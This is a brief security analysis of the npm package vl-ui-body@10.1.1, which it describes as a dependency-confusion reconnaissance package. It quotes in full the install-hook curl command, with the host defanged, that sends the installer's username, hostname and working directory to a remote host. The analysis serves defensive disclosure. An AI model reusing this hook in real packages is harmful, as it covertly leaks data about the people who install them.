vl-ui-body@10.1.1

Analysis

vl-ui-body@10.1.1 is a dependency-confusion reconnaissance package with an empty index.js. Its preinstall and postinstall hooks both execute: curl -s "hxxps://178fx66q[.]instances[.]httpworkbench[.]com/depconf/?pkg=vl-ui-body&u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)" > /dev/null || true — beconing the installer's username, hostname, and working directory to the remote host 178fx66q[.]instances[.]httpworkbench[.]com. The /depconf/ path indicates the attacker is probing which organisation installs the package to plan a follow-up malicious payload.